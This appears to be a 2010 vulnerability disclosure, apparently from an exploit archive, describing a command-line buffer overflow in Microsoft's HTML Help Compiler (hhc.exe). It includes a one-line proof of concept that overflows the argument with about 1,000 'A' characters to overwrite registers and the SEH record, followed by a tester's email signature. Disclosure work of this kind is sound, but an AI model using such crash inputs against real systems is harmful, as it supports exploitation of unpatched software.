Microsoft HTML Help Compiler Buffer Overflow

`  
  
#Title: Microsoft HTML Help Compiler (hhc.exe) BOF POC  
#EDB-ID:  
#CVE-ID: ()  
#OSVDB-ID: ()  
#Author: s4squatch  
#Published: 2010-01-06  
#Verified:  
#Download Exploit Code: N/A  
#Download: http://www.microsoft.com/downloads/details.aspx?FamilyID=00535334-c8a6-452f-9aa0-d597d16580cc&displaylang=en  
  
Microsoft’s HTML Help Compiler (hhc.exe) is free tool to build Microsoft Compiled HTML Help (.chm) files. It is included within HTML Help Workshop and Visual Studio. The executable, hhc.exe, does not properly check the length of user-supplied command line arguments. It is possible to gain control of EDX, EBP, and ESI registers as well as perform an SEH overwrite.  
  
With this, it should be possible to execute arbitrary code in the context of the application. For this reason, Microsoft has logged this as a bug, not a security issue or vulnerability since calling it with command line arguments will not give you elevated privileges that the calling entity did not already have.  
hhc.exe version 4.74.8702.0 (EDX, EBP, ESI, SEH overwritten when called with 1,000 A’s)  
  
Proof of Concept:  
  
c:\> hhc.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
  
  
Thanks,  
  
Scott White  
Senior Penetration Tester  
office: 623-321-2660 x218  
mobile: 480.440.7595  
fax: 216.927.0119  
www.securestate.com<http://www.securestate.com>  
http://securestate.blogspot.com  
[cid:[email protected]]  
SecureState is pleased to be included on the INC. Magazine list of America’s fastest growing companies<https://www.securestate.com/Pages/PressReleas_0812.aspx>...  
  
  
  
  
  
  
`